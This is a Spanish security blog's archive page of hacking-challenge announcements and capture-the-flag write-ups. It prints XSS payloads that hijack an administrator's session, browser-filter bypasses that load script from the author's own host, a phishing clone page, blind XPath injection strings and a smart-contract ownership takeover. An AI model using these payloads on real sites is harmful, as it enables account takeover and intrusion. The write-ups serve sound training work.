Mostrando las entradas para la consulta "Reto Hacking" ordenadas por relevancia. Ordenar por fecha Mostrar todas las entradas
Mostrando las entradas para la consulta "Reto Hacking" ordenadas por relevancia. Ordenar por fecha Mostrar todas las entradas

miércoles, mayo 18, 2011

Solucionario a Reto Hacking Infiltrados (1 de 3)

**********************************************************************************************
- Solucionario a Reto Hacking Infiltrados by pepelux (1 de 3)
- Solucionario a Reto Hacking Infiltrados by pepelux (2 de 3)
- Solucionario a Reto Hacking Infiltrados by pepelux (3 de 3)
Autor: @pepeluxx
**********************************************************************************************

URL del Reto: Reto Hacking Infiltrados

1- Introducción

La verdad es que me encantan los retos que prepara Chema Alonso porque están muy cuidados estéticamente. Es cierto que este reto, como su antecesor, son validados por personas físicas y llega a ser un poco coñazo, tanto para los participantes que tenemos que esperar a veces media hora para ver si una prueba es válida, como para los pobres que están varias horas al día validando nuestros numerosos intentos.

Este tipo de retos tienen como inconveniente el factor humano; y es que hay veces que una respuesta te la toman como mala y la vuelves a mandar y te la toman como buena, pero bueno, es parte del reto.

Cuando me registré y vi los logos de Google Chrome, Firefox e Internet Explorer, empecé a olerme (supongo que como todo el mundo) que se trataba de un reto basado en vulnerabilidades XSS, pues tenía toda la pinta de que el reto iba de saltarse algo en los 3 navegadores. Así que un buen comienzo, antes de empezar el reto, es leerse bien los solucionarios del BrowserSchool, escritos por Beni (buena pieza este Beni, jeje).

2- Análisis del reto

Ya pagué la novatada en el reto de BrowserSchool y me puse a probar a lo loco sin entender la dinámica del reto y, en ese caso, creo que no pasé más que un navegador; así que esta vez, me lo tomé con más calma y me leí y releí la ayuda del concurso y, me tomé mi tiempo en pensar cual era la finalidad de todo esto, antes de empezar a mandar y sufrir la larga espera de cada validación.

Tenemos 3 puertas que dan acceso a 3 salas diferentes. Cada una gestionada por un administrador, el cual usa diferente navegador para gestionar las incidencias de los usuarios.

Nosotros no tenemos acceso ya que desconocemos las claves de las salas pero, según la ayuda, el administrador es capaz de entrar a su sala sin necesidad de introducir clave alguna. Esto es importante ya que sabemos que no hay que robar ninguna clave sino que todo apunta a que hay que hacerse pasar por administrador para entrar.

Lo que nos aparece al entrar en la sala de validación es esto:


Figura 1: Puertas sin abrir


3- Fase I

Voy a escribir la solución de cada navegador por orden, tal y como yo lo pasé.

El primero en caer fue Firefox. Creo que está más que demostrado que ante errores de XSS es de los más permisivos y, por tanto, es al que más fácilmente se la podemos colar.

Analizando la página de acceso (inicioReto.aspx) vemos que al pinchar en una de las puertas se recarga la página y nos carga nuestro ID de usuario en la URL (en mi caso, inicioReto.aspx?idUsuario=950e8c2b-3a74-4f24-a809-40d32a9f73b6) y también vemos que ese ID de usuario se escribe abajo del todo. Si probamos vemos enseguida que existe una vulnerabilidad XSS. Por ejemplo:


Figura 2: XSS en inicioReto.aspx?idUsuario=xxx<script>alert('XSS')</script>;

Por supuesto, todas estas pruebas las realicé desde un Firefox, ya que, como dije, es el más permisivo en cuando a XSS.

Por otro lado, si mandamos alguna incidencia vemos que nos llega una copia del mail que recibe el administrador. En este mail viene nuestro usuario, la descripción de la incidencia y un link hacia inicioReto.aspx. En ese link viene asociado nuestro ID de usuario.

Si mandamos otra incidencia de prueba y la capturamos, por ejemplo, con el TamperData, vemos:


Figura 3: Datos envíados interceptados por TamperData

Ese enlace que le llega es lo que aparece en el campo ctl00%24cph2%24tbUrl. Por tanto, podemos tratar de meter algo para que al pinchar, y acceder a la web, explote la vulnerabilidad XSS que hemos encontrado.

En un principio pensé que había que robar la cookie del administrador para luego acceder nosotros manualmente con esa cookie y estuve probando algunas inyecciones en las que trataba de robar esa cookie. La forma de hacerlo fue intentando enviar un document.cookie hacia mi máquina, pero no tuve éxito.

Pensando un poco en lo que ponía en la ayuda, acerca de que el administrador entraba de forma automática, pensé que igual se podía hacer justamente al contrario, es decir, si el admin entra de forma automática, inyectarle a él mis datos para que entre usando su cookie pero con mi ID de usuario. Y así fue como ocurrió.

Si vemos el código fuente de la página nos encontramos con un campo llamado ctl00$cph2$hfidUsuario que contiene nuestro ID de usuario. El admin al entrar en la página, evidentemente tendrá el suyo. Por tanto, lo que vamos a tratar de hacer es cambiarlo para que acceda a la web con el nuestro y acto seguido, hacer un submit para que acceda, de forma automática, por la puerta correspondiente (recordemos que el admin NO necesita validación, por lo que un simple submit hará que pase por la puerta sin tener que escribir su clave de acceso).

Ahora el tema está en cómo saltar los filtros de cada navegador para poder hacer esto.

**********************************************************************************************
- Solucionario a Reto Hacking Infiltrados by pepelux (1 de 3)
- Solucionario a Reto Hacking Infiltrados by pepelux (2 de 3)
- Solucionario a Reto Hacking Infiltrados by pepelux (3 de 3)
Autor: @pepeluxx - http://www.pepelux.org - http://blog.pepelux.org
**********************************************************************************************

viernes, mayo 20, 2011

Solucionario a Reto Hacking Infiltrados (3 de 3)

**********************************************************************************************
- Solucionario a Reto Hacking Infiltrados by pepelux (1 de 3)
- Solucionario a Reto Hacking Infiltrados by pepelux (2 de 3)
- Solucionario a Reto Hacking Infiltrados by pepelux (3 de 3)
Autor: @pepeluxx
**********************************************************************************************

URL del Reto: Reto Hacking Infiltrados

4- Fase II

Para mí esta fase fue más divertida que las anteriores, ya que odio los XSS jeje y además, no requería de ninguna validación por una persona física. Esto daba más libertad para realizar pruebas. Que fuera más divertida no quiere decir que fuera más fácil :) Al entrar en el reto vemos esto:


Figura 5: Acceso en Fase II

En la URL nos aparecen 2 parámetros (mail y app_hash) y al pinchar en el botón Entrar nos dice que el mail no corresponde con el hash. La URL es esta:

http://rhinfiltrados.informatica64.com/F@S%E2%82%AC_TW0_INI.aspx?mail=CAoLAAIdARUWDhcGHCYAAhIdEwkOBwANB19YWhwEEA%3d%3d&app_hash=97c4655a4b1e7d07477a6c53a901bf691d9405a7

Y los parámetros:

mail=CAoLAAIdARUWDhcGHCYAAhIdEwkOBwANB19YWhwEEA==
app_hash=97c4655a4b1e7d07477a6c53a901bf691d9405a7


Aparentemente, tenemos que conseguir un mail que concuerde con un app_hash y, para ello, lo que vamos a hacer es analizar cada uno de los parámetros. El mail es claramente un base64 que si hacemos un unbase64 vemos algo ilegible. Tras varias pruebas con los HEX obtenidos vi que aplicando un XOR con la palabra infiltrados aparecía algo que llamaba la atención:

unbase64(mail) XOR 'infiltrados' -> _XZ###strad##&####

Así que probé a concatenar la palabra:

unbase64(mail) XOR 'infiltradosinfiltrados' -> _XZ###strador@informat

Y con algunas pruebas más:

unbase64(mail) XOR 'infiltradosinfiltradosinfiltrad'
-> administrador@informatica64.net

El sencillo script que usé fue (en perl, of course! :P ):


Figura 6: Script en Perl para decodificación de mail

Supuestamente necesitaremos codificar nuestro mail (con el que nos registramos al reto) para poder validarnos correctamente, por lo que hacemos la operación inversa para calcular el base64 correspondiente, en este caso, al mail con el que me registré (pepeluxx@gmail.com) … menos mal que no usé ninguna dirección guarrona xDD. Bueno, pues el script que usé es:


Figura 7: Script en Perl para codificación de mail

Evidentemente, la palabra que se usa para hacer el XOR debe tener la misma longitud que mi mail. Y el resultado: base64(mail XOR 'infiltradosinfiltr') -> GrkWDAABChkkCB4IBwpHDxsf

El segundo parámetro, app_hash, podemos ver que tiene 40 bytes por lo que una posible codificación es SHA1 o RIPEMD160. Preguntando el resto de participantes (el que no haya preguntado a nadie que tire la primera piedra xDD), vi que el mail era el mismo para todos pero el app_hash variaba. Cerrando sesión y volviendo a entrar siempre tenía el mismo hash. Incluso conectando desde otra dirección IP, éste no variaba. Eso me hizo pensar que tenía algo que ver con alguno de mis datos de registro.

De manera que probé a codificar cada uno de mis datos (nick, nombre, apellidos, mail, provincia, población, incluso el ID de usuario con y sin guiones). Lo probé con SHA1 y con RIPEMD160 al mismo tiempo que usaba el base64 correspondiente a mi mail. Intenté validar usando mi mail y ese hash resultante pero no hubo éxito.

Tras esto pensé en intentar averiguar cómo estaba formado ese hash, del mismo modo que hice con el mail. Así que me creé un script que probaba todas las combinaciones de mis datos de registro (solos, concatenados a dos, a tres, etc) y luego encriptando con ambos algoritmos y buscando como resultado el valor que no daba la URL. Tampoco hubo suerte.

El siguiente paso fue añadir al script un XOR de la palabra que le metiera como parámetro. Probé con infiltrado, informatica64, el nombre de la url, mis datos sueltos, concatenados, etc … nada. Luego probé lo mismo pero combinando un base64 y el XOR o el base64 sólo … nada de nada.

El caso es que enfoqué mal la forma de resolverlo y busqué obtener ese hash que tenía, cuando lo que debía haber hecho es probarlos directamente en la URL, ya que, al final, la solución era tan simple como rebuscada. El hash era: SHA1(mi_id concatenado con mi_mail)

Por tanto, mi solución (diferente a la del resto de usuario, evidentemente) fue:

http://rhinfiltrados.informatica64.com/F@S%E2%82%AC_TW0_INI.aspx?mail=GrkWDAABChkkCB4IBwpHDxsf%3d&app_hash=7d33c26d2bb41d320e0331363c2c036f6c7de906

Donde:

mail=GrkWDAABChkkCB4IBwpHDxsf
app_hash=7d33c26d2bb41d320e0331363c2c036f6c7de906


Y al pasar el reto vemos:


Figura 8: Reto Finalizado

5- Agradecimientos

Como siempre, ha sido un gran placer participar en el reto. A la gente que nos gusta jugar sabemos lo difícil y laborioso que es preparar este tipo de retos. Así que, enhorabuena y muchas gracias a Informática64 y en especial a Chema Alonso y sobre todo, al equipo de gente que ha estado validando todas nuestras pruebas (sois unos cracks!! xDDD).

También mi enhorabuena a todos los participantes, en especial a Yuri, que ya podía haberse centrado en el reto de Suiza xDDD (es broma), Nadid, danigargu, Budaned y Thanar.


Figura 9: Hall of fame

Y como siempre, saludos para los más grandes! Okaboy, Kachakil, RoManSoft (nunca se si escribo bien las mayúsculas del nick), Miguel Gesteiro, Int3pids (el resto), PainSec, etc, etc, etc... Y otro saludo también a r0i, k4dm3l, ralcaz, marcositu, ….

Hasta el próximo!

**********************************************************************************************
- Solucionario a Reto Hacking Infiltrados by pepelux (1 de 3)
- Solucionario a Reto Hacking Infiltrados by pepelux (2 de 3)
- Solucionario a Reto Hacking Infiltrados by pepelux (3 de 3)
Autor: @pepeluxx - http://www.pepelux.org - http://blog.pepelux.org
**********************************************************************************************

sábado, mayo 27, 2023

Nuevo reto Hacking Web3 de Level_UP! -> Forensic Ouch! - Aprende cómo rastrear la interacciones en Blockchain

Tenemos un compromiso interno en el equipo de IdeasLocas con lo dejar pasar un mes sin publicar un nuevo reto en la plataforma de Level_UP! Por esta razón traemos el nuevo reto del mes de mayo. En esta ocasión toca un poco de forense básico en la Blockchain. Hay que recordar que en la pasada RootedCON la presentamos y mostramos nuestros objetivos respecto a ella. Nuestra intención es publicar un writeup mensual sobre algún reto y publicar un nuevo reto con el que la comunidad pueda seguir su aprendizaje.

Figura 1: Nuevo reto Hacking Web3 de Level_UP! -> Forensic Ouch!
 - Aprende cómo rastrear la interacciones en Blockchain

A modo de resumen rápido os dejamos el listado de artículos y solucionarios de retos de Level_UP! que tenemos publicados y os animamos a que “juguéis” con este mundo de la seguridad en Web3, ya que es apasionante cuando uno conoce los ‘basics’ de la Web3:
Hoy toca publicar nuevo reto, el cual ya está disponible en el repositorio de Github de Level_UP! El reto de hoy trabaja sobre conceptos de forense y de rastreo en la forma en que los SmartContracts ejecutan las acciones. La frase de “todo queda en la Blockchain” no siempre es correcta, pero en este caso sí. Si quieres saber qué ha ocurrido en ese contrato del reto deberás analizarlo.


Como se puede ver en la imagen, forensich_ouch es el reto número 12 (ya que empezamos en el 0, aunque el reto 0 sea un tutorial guiado). La puntuación que el usuario puede obtener con el nuevo reto es de 150 puntos y la dificultad del reto supone un nivel intermedio. No es un reto complejo, pero si se debe tener algunos conocimientos sobre el funcionamiento interno de los SmartContracts así de cómo los datos son registrados en la Blockchain.


Cuando uno entra al reto y lo quiere desplegar para jugarlo, se encontrará con la introducción de lo que se necesita hacer en el reto. Además, nos muestran una serie de funciones que solo el propietario del contrato podrá ejecutar.

Reto Forensic_Ouch   

Cuando se despliega el reto a través del botón ‘Deploy Contract’ se debe acceder a las ‘Dev Tools’ del navegador. Desde la consola de desarrollo del navegador, se puede acceder a través del comando ‘help’ o ‘help()’ (depende del navegador) a la ayuda. Disponemos de tres objetos con los que interactuar: player, base y contract.

Figura 4: Reto Forensic Ouch!

El objeto player almacena la dirección pública del usuario con el que estamos jugando en la plataforma. El objeto base representa la conexión con el contrato base de la plataforma, es el contrato que gestiona los puntos, los jugadores que están jugando, etcétera. Por último, y una vez está desplegado el reto, tenemos el objeto contract, el cual nos permite interactuar con el contrato del reto. 

Figura 5: Lectura del contrato

Siempre recomendamos que hagas uso de la instrucción ‘contract.functions’ para ver las funciones disponibles. También puedes aprender qué funciones hay disponibles leyendo el contrato, tal y como se puede ver en la imagen de la Figura 5.

Figura 6: Libros de Python para Pentesters y Hacking con Python
de Daniel Echeverri publicados en 0xWord.

El algoritmo Keccak será importante en este reto, es recomendable utilizar recursos como el de OnlineTools y el uso de Keccak. La conexión a la Blockchain se puede hacer de muchos modos, recomendamos usar Python o JS para usar la librería Web3. Ánimo. Una vez que tengamos la flag, acordaros de validar los puntos en la plataforma, tal y como se puede ver en la siguiente imagen:

Figura 7: Validación de Flag

Los chicos y chicas de Escuela 42 están realizando el reto durante estas semanas. La acogida ha sido bastante buena y pronto os contaremos más cosas de lo ocurrido en ese hackathon de Level_UP! en 42. Pronto más solucionarios y más retos. El mes de junio está a la vuelta de la esquina.

Y recuerda que si quieres aprender de estas tecnologías, tienes Bit2Me Academy, que es una plataforma online para aprender de Web3, BitCoin, Tokenomics o Ethereum con cursos gratuitos además del libro dedicado a "Bitcoin: La tecnología Blockchain y su investigación" de Yaiza Rubio y Félix Brezo que seguro que te ayudan a ponerte las pilas.

Más artículos de Web3, Blockchain & SmartContracts
Saludos,

Autor: Pablo González Pérez (@pablogonzalezpe), escritor de los libros "Metasploit para Pentesters", "Hacking con Metasploit: Advanced Pentesting" "Hacking Windows", "Ethical Hacking", "Got Root",  “Pentesting con Powershell” y de "Empire: Hacking Avanzado en el Red Team", Microsoft MVP en Seguridad y Security Researcher en el equipo de "Ideas Locas" de la unidad CDCO de Telefónica.  Para consultas puedes usar el Buzón Público para contactar con Pablo González

Figura 15: Contactar con Pablo González

domingo, enero 13, 2008

Vamos a jugar otra vez: Reto Hacking VI

Al Reto Hacking V le quedan sólo unas horas para cerrarse. Unas horas para que empecemos a pensar en otro juego y hagamos balance. De momento el estado en la liga de los campeones deja un Hall Of Fame como sigue:

Provisional Global Hall of Fame

En la lista se encuentran Kachakil, RoMaNSoFt y Mandingo en los tres primeros puestos y parece que van a seguir ahí largo tiempo pues la distancia con el cuarto: Palako (o Pedro Laguna si consigue puntuar antes de que se cierre el reto) es grande.

Ahora, para que no se enfrien los motores, vamos a tener el Reto Hacking VI en poco tiempo. La fecha definitiva será el Viernes 1 de Febrero a las 20:00. El próximo reto será más rápido y la velocidad contará, pues consistirá en explotar una web con algo conocido pero realizando una variación muy chula que me ha encantado y de la que no he publicado nada por ningún sitio aún. Después habrá una segunda fase...al estilo de la segunda fase del Reto Hacking IV, es decir, de las del tipo de, como dice mandigo, "que los árboles no te oculten el bosque".

Las puntuaciones que se obtendrán con el siguiente Reto Hacking serán al estilo de la F1, es decir: 10 puntos para el primero, 8 puntos para el segundo, 6 puntos para el tercero, 5 puntos para el cuarto, 4 puntos para el quinto, 3 puntos para el sexto, 2 puntos para el séptimo y 1 punto para el octavo. De ahí en adelante, todos los que lo saquen antes de que acabe Febrero obtendrán 0.5 puntos. Además, hay 1 punto extra para todo el que lo saque antes de las 00:00 horas.

El planing de trabajo que vamos a llevar va a ser el siguiente.

15/01 : Se cierra el Reto y ya no puntua.
            Publicaré el solucionario de Dani Kachakil.
16/01 : Publicaré el "Cómo se hizo la fase III" de Alfonso Muñoz.
            Mandingo hace conmigo en Bilbao
            una demo sobre como pasarse el Reto Hacking IV.
            Nos vamos de cena y fiesta en Madrid y entrego algunos premios.
            Se pagan las apuestas del Reto Hacking V.
25/01 : Se hacen públicos los premios.
28/01 : Se abren las apuestas del RH VI, que esta vez serán...
            ¡comics de segunda mano!
31/01 : Se hacen públicas las pistas... Vale, y serán útiles (jajaja)
01/02 : A las 20:00 horas (GMT+1), en tiempo, y sincronizado
            (si no, le pago una cena a RoMaNSoFt) empieza el Reto VI.

Además, esta vez los premios van a ser... ¡espectaculares!, (manteniendo el nivel de siempre), pues serán ....¡Comics!

Mmm,comics... estoy por participar yo con otro alias...

Saludos Malignos!

jueves, mayo 19, 2011

Solucionario a Reto Hacking Infiltrados (2 de 3)

**********************************************************************************************
- Solucionario a Reto Hacking Infiltrados by pepelux (1 de 3)
- Solucionario a Reto Hacking Infiltrados by pepelux (2 de 3)
- Solucionario a Reto Hacking Infiltrados by pepelux (3 de 3)
Autor: @pepeluxx
**********************************************************************************************

URL del Reto: Reto Hacking Infiltrados

3.1- Mozilla Firefox v4.0.1

En el caso de Firefox no hizo falta saltarse ningún filtro, ya que directamente, no hay. Sólo había que ingeniarse una forma de acceder engañando al admin. Y la solución, tras varias pruebas, fue mandando en el campo ctl00%24cph2%24tbUrl esto:

http://rhinfiltrados.informatica64.com/inicioReto.aspx?idUsuario=950e8c2b-3a74-4f24-a809-40d32a9f73b6<script>function f(){document.aspnetForm.ctl00$cph2$hfidUsuario.value='950e8c2b-3a74-4f24-a809-40d32a9f73b6';document.aspnetForm.submit();}</script>

Para que se vea mejor, voy a desglosar el script que inyecté:

<script>
function f()
{
document.aspnetForm.ctl00$cph2$hfidUsuario.value='950e8c2b-3a74-4f24-a809-40d32a9f73b6';
document.aspnetForm.submit();
}
</script>

<BODY+ONLOAD=f()>


Lo que hace esto es lo que he comentado antes, cambiamos el valor del ID de usuario por el nuestro y luego ejecutamos el submit. Y para que el script se ejecute al cargar la página, lo invocamos con un BODY ONLOAD.

3.2- Google Chrome v11.0.696.65

El segundo en caer fue Chrome. Aquí encontré una solución que yo creo que es válida, pero que no se tomó como buena en las repetidas veces que lo intenté mandar. A ver si Chema me explica porqué no iba }:->

Una vez entendida la dinámica tras superar el obstáculo usando Firefox, ya tenemos clara la finalidad y lo que tenemos que hacer, por lo que antes de mandar a lo loco incidencias, tenemos que probar a ejecutar, sin mandar incidencias, un simple alert usando Chrome. La cosa no fue fácil ya que trae un filtro anti-XSS, pero bueno, encontré googleando varias formas de saltárselo y una de ellas es cargando un fichero externo, tal que así:

<script src=http://url/file.js?

Y metiendo en file.js un alert, por ejemplo (sin poner las etiquetas de script):

alert('XSS')

Como ya tenemos una forma de inyectar, el siguiente paso es probar a cambiar el ID de usuario y hacer el submit. Por lo que file.js quedaría así:

function f()
{
document.aspnetForm.ctl00$cph2$hfidUsuario.value='950e8c2b-3a74-4f24-a809-40d32a9f73b6';
document.aspnetForm.submit();
}

window.onload=f;

Esto dio bastante guerra ya que no terminaba de funcionar. Así que puse un alert delante y otro detrás y vi que se ejecutaba el primero pero no el segundo. Mirando con la consola de Chrome, aparecía un error diciendo que ctl00$cph2$hfidUsuario no existía.

Obviamente, si inyectamos ese código en el que no cerramos el script, todo lo que hay detrás queda inservible. Por lo que una solución fue modificar el script para que creara de nuevo ese input, quedando el fichero así:

function newInput()
{
var inpt = document.createElement('input');
inpt.type="text";
inpt.name="ctl00_cph2_hfidUsuario";
inpt.id="ctl00$cph2$hfidUsuario";
document.aspnetForm.appendChild(inpt);
document.aspnetForm.innerHTML+="
";
}

function f()
{
newInput();
document.aspnetForm.ctl00$cph2$hfidUsuario.value='950e8c2b-3a74-4f24-a809- 40d32a9f73b6';
document.aspnetForm.submit();
}

window.onload=f;


De esta forma ya no daba error y, al menos en el mail que yo recibía, iba todo bien, pero no me dieron por válida esta solución. Así que probé otro método que encontré para saltar el filtro de Chrome y que consistía en usar iframes:

<iframe src='data:text/html,<script src=http://url/file.js></script>

Que en local iba bien pero tampoco fue una solución válida. A estas alturas y ya bastante desesperado, sobre todo pensando en que IE9 iba a ser mucho más difícil aún, lo que probé es a pasar el reto sin la necesidad de explotar ningún XSS, accediendo al eslabón más débil, el humano … y voilá!

La solución pasó por enviar en el campo ctl00%24cph2%24tbUrl http://url Donde esa URL era una IP mía en la que había una copia exacta de inicioReto.aspx, con mi ID de usuario y añadiendo al final de la página:

<script>
window.onload = function(){ document.aspnetForm.submit(); }
</script>


3.3- Internet Explorer v9.0.8112.16421

Este reto lo pasé exactamente igual que con Chrome (supongo que con Firefox también se habría pasado sin problemas) aunque como estuve realizando las pruebas por la noche, con el reto cerrado y, al mismo tiempo que preparaba la inyección para el Chrome, hice algunas pruebas y, la forma de saltarse el filtro de IE9, al igual que IE8, es añadiendo un %0a en la etiqueta del script, algo así:

<sc%0aript>alert('XSS')</script>

Estuve probando la técnica usada por Beni en el reto de BrowserSchool y que consistía en superponer una imagen exactamente igual a la que aparecía en el reto pero que al pincharla llevara a mi IP. Aquí me encontré el problema de que el filtro del IE9 elimina los puntos de las URLs así que para saltarlo use como URL el valor decimal de mi IP y al script quitarle el punto … algo así:

http://3232235876/filejs

En este caso, al contrario que en la técnica anterior, no se podía hacer un submit de forma automática y había que esperar a que el administrador pinchara en la puerta. Al final, esta solución tampoco me la dieron por buena. Y como dije antes, la pasé exactamente igual que con Chrome. Tras pasar los 3 navegadores, podemos ver algo así:


Figura 4: Fase 1 pasada

**********************************************************************************************
- Solucionario a Reto Hacking Infiltrados by pepelux (1 de 3)
- Solucionario a Reto Hacking Infiltrados by pepelux (2 de 3)
- Solucionario a Reto Hacking Infiltrados by pepelux (3 de 3)
Autor: @pepeluxx - http://www.pepelux.org - http://blog.pepelux.org
**********************************************************************************************

sábado, junio 16, 2007

Solucionarios, Retos y Premios

Ayer por la noche publiqué la solución que escribió del III Reto Hacking el amigo RoMaNSoFt dándolo por terminado. Mil gracias por compartirla Román. Al igual que los retos I y II, este tercer reto seguirá abierto para que el que lo desee pueda jugar un rato. Quiero dar las gracias a todos los que lo habéis intentado y a todos los que lo habéis conseguido, pues sé la inversión en tiempo que hay que realizar. Espero que os gusten estos retos, pues dentro de 1 mes o més y medio tendréis disponible el IV Reto, para que no os aburrais en verano.....

Links a los retos y a los Solucionarios.

- Primer Reto Hacking
- Solucionario Primer Reto Hacking
- Segundo Reto Hacking
- Solucionario Segundo Reto Hacking por Daniel Kachakil
- Tercer Reto Hacking
- Solucionario Tercer Reto Hacking por RoMaNSoFt

Ah, y enhorabuena a los 6 que lo habéis superado esta vez. (Mandingo, Roman, Palako, Kachakil, Pedro Laguna y apren)

Buen Finde!

PD: Voy entregando los regalos, pero recordadme que regalos os debo. A Román un cd de Leño, a Mandingo le debo la caricatura (espero la foto), a Palako la caja de botellines, a Pedro Laguna la tarta con arándanos, ....¿algún premio más?

viernes, julio 27, 2007

Premio para el IV Reto Hacking

Para los más ávidos destrozawebs estamos ya en marcha con el IV Reto Hacking, si todo va como debe, estará disponible en unas semanas, pero aprovechando que se ya se acaba el tiempo de currar y llega el veranito debéis poneros las pilas. Lejos han quedado aquellos momentos de estrecheces en los que hubo que empeñar hasta la ropa interior para tener un premio. Para este nuevo Reto hacking he preparado un primer premio de impresión. El genuino, el glamuroso, el grande y sin igual Bender. Este magnífico personaje está a buen recaudo en una estantería bajo mi vigilante mirada y será para el que saque el primer premio.

Sé que aún tengo pendientes premios por entregar: la caricatura da “mandingo” [¡mándame la foto perro!], la camiseta a Kachakil, la tarta de queso con arándanos a Pedro Laguna, la noche de fiesta a RoMaNSoFt o la caja de botijos a Palako [amén de los 50 leuros que le debo a Penyaskito], pero no os preocupéis, yo siempre pago. Prueba de esto es el momento en que RoMaNSoFt recibía su primer software de Spectra original como premio de un Reto.


Y para que os pongáis nerviosos os dejo ver al adorable matahumanos. El hijoputa más salao, que se llevará el que rompa la web del IV Reto Hacking.


Saludos malignos!

PD: “La abogada soltera, lucha por sus clientes…”

PD2: Por cierto, creo que ni de coña conseguirás llevarte esta joya si antes no controlas los tres retos anteriores:

Reto Hacking I - Solucionario por D. Kachakil
Reto Hacking II - Solucionario por D. Kachakil
Reto Hacking III - Solucionario por RoMaNSoFt

martes, noviembre 28, 2023

WriteUp del Reto Hacking Web3 "Snippet Delegated" & Nuevo Reto "Send to me" en Level_Up!

Nos encontramos a finales de noviembre y, como cada mes, traemos la solución a uno de los retos de Level_UP!, nuestra plataforma de aprendizaje basada en retos de Web3. Hoy le toca el turno al reto “Snippet Delegated”, un reto de dificultad 4 sobre 5 y que sumará 200 puntos a nuestro marcador global. ¡Vamos a por ello!

Figura 1: WriteUp del Reto Hacking Web3 "Snippet Delegated"
& Nuevo Reto "Send to me" en Level_Up!

En esta ocasión partimos de dos contratos diferentes: un primer contrato que tiene una serie de funciones, y un segundo contrato que importa estas funciones para su uso. 

Reto: Snippet Delegated

Tal y como indica el nombre del reto, se va a trabajar con una función llamada “delegatecall” que va a permitir que el contrato del reto pueda ejecutar el código del contrato de funciones con el almacenamiento del contrato del reto, el msg.sender y el msg.value.


Para conseguir el flag de este contrato, si observamos la función getFlag(), nos damos cuenta de que necesitamos ser el owner y, además, hay un valor llamado power que debe ser igual a 9. Debemos encontrar, en primer lugar, como hacernos owner del contrato y, a continuación, como llegar a obtener 9 en el valor de power.

Figura 3: Smart Contract del reto Snippet Delegated

Como se ha comentado con anterioridad, se va a trabajar con la función delegatecall(). Si nos fijamos, el contrato hace uso de está función en la función llamada execution_function().

Figura 4: Función execution_function en el contrato Snippet Delegated

Se puede revisar el contrato functions y ver que opciones tenemos disponibles. Rápidamente podemos encontrar varias funciones que van a jugar con los valores de power y stamina y recordamos que una condición para obtener el flag es que power tenga el valor de 9.

Figura 5: Funciones para interactuar con los valores power y stamina

Además, también encontramos una función llamada setOwner() que establece el propietario del contrato con el valor msg.sender. Con esto confirmamos que debemos interactuar con este contrato para conseguir los requisitos para conseguir la flag.

Comenzamos por llamar a la función setOwner(). Para ello debemos averiguar el selector de la función para pasarlo como el parámetro _data de la función execution_function(), que a su vez se pasará como parámetro de la función delegatecall().

Figura 6: Selector encoder con la herramienta CrazyToolBox

Para ello, hacemos uso de nuestra herramienta Open Source CrazyToolBox. En el apartado “Function selector encode”, indicamos el nombre de la función setOwner() y nos devuelve el selector 0x40caae06. Llamamos a execution_function:

Figura 7: Ejecución de la función getOwner() a través de delegatecall

Tras esto, podemos verificar que hemos conseguido ser el propietario del contrato llamando a contract.owner(). También podemos llamar a la función getFlag() y nos encontramos con que pasamos el primer requisito (ser el owner) pero no el segundo. Todavía nos queda conseguir poder para obtener el valor de la flag.

Figura 8: Valores de power y stamina

Tenemos que llegar al valor 9 en power. La función addPower() nos sumará 5 al valor de poder. Además, contamos con las funciones addStamina() y delStamina(), que sumarán o restarán 1 al valor de stamina. Por último, también tenemos la función addStaminaToPower() que suma el valor de la stamina al valor que tiene poder. 

En el caso del ejemplo, stamina ha comenzado en el valor 6. Para llegar al valor 9 en power, una posible opción sería:
  • addPower() -> Power pasa de valer 0 a valer 5
  • delStamina() -> Stamina pasa de valer 6 a valer 5
  • delStamina() -> Stamina pasa de valer 5 a valer 4
  • addStaminaToPower() -> Power pasa de valer 5 a valer 9 (le suma el valor 4 de stamina)
Para hacer las llamadas a través de delegatecall hay que volver a calcular el selector de las funciones:
  • addPower() -> 0x51f2e64a
  • addStamina() -> 0x1659544c
  • delStamina() -> 0x9499443a
  • addStaminaToPower() -> 0xcf5e9734
Por último, debemos traernos el valor de power haciendo una llamada a getPower(), con el selector 0x49a4e50d.

Figura 9: ¡Flag conseguida!

Ahora sí, podemos hacer la llamada al contrato para conseguir la flag y pasar a validarla en el contrato base y la función validateFlag() ya conocida de otros retos. 

Figura 10: Superar el reto “Snippet Delegated” sumará 200 puntos a tu marcador

Ya podemos visitar el apartado de player para ver el reto completado y los 200 puntos obtenidos.

Nuevo reto: Send to me

Como cada mes, la publicación de un nuevo WriteUp! viene acompañado de un nuevo reto. En esta ocasión, parece un contrato sencillo a simple vista. Únicamente hay que encontrar la manera de mandar fondos a un contrato que no está preparado para la recepción de fondo. ¿Encontrarás la manera de hacerte con la flag?

Figura 11: Nuevo reto “Send to me"

Como siempre, esperamos que sigas disfrutando y aprendiendo con la plataforma Level_UP! y nos vemos el próximo mes con un nuevo reto, que pronto tendréis novedades para jugar en una testnet. 

Seguiremos resolviendo retos y creando nuevos retos para el aprendizaje en seguridad en Web3 y recuerda que si quieres aprender de estas tecnologías, tienes Bit2Me Academy, que es una plataforma online para aprender de Web3, BitCoin, Tokenomics o Ethereum con cursos gratuitos además del libro dedicado a "Bitcoin: La tecnología Blockchain y su investigación" de Yaiza Rubio y Félix Brezo que seguro que te ayudan a ponerte las pilas.

Más artículos de Web3, Blockchain & SmartContracts
Happy Hacking!

martes, septiembre 08, 2009

Reto Hacking X: Solucionario (II de III)

*****************************************************************************************
- Reto Hacking X: Solucionario (I de III)
- Reto Hacking X: Solucionario (II de III)
- Reto Hacking X: Solucionario (III de III)
*****************************************************************************************

Román resolvió esta parte de forma diferente ya que él no disponía de herramienta de “Blind XPath Injection” propia ni estaba por la labor de crear una. Lo que hizo fue partir de la única herramienta pública existente: BXPI.

Su funcionalidad es actualmente muy limitada y de hecho no te permite parametrizar la inyección ni inyectar en una cabecera HTTP cualquiera ni emplear cookies… por lo cual era inútil para el reto… ¿o no? Al menos servía para realizar el proceso de inyección en el caso más básico (un parámetro GET y asumiendo que la consulta XPath es también simple) y en definitiva, con todas las condiciones favorables. La original idea de Román fue encadenar la salida de esta herramienta a un Proxy tipo MITM como “WebScarab” y utilizar las capacidades de scripting en Java de este Proxy (“Bean Shell”) para adaptar la inyección básica que implementa BXPI al escenario real del reto (que era totalmente diferente al escenario básico que cubre BXPI).

Veámoslo en detalle:

Parametrización de la inyección.

BXPI inyectará una cadena como la siguiente:

en' or '0'='1

Que deberemos transformar, antes de pasarla a la aplicación web vulnerable, en esta otra cadena:

en') and ('0'='1' or 'a'='

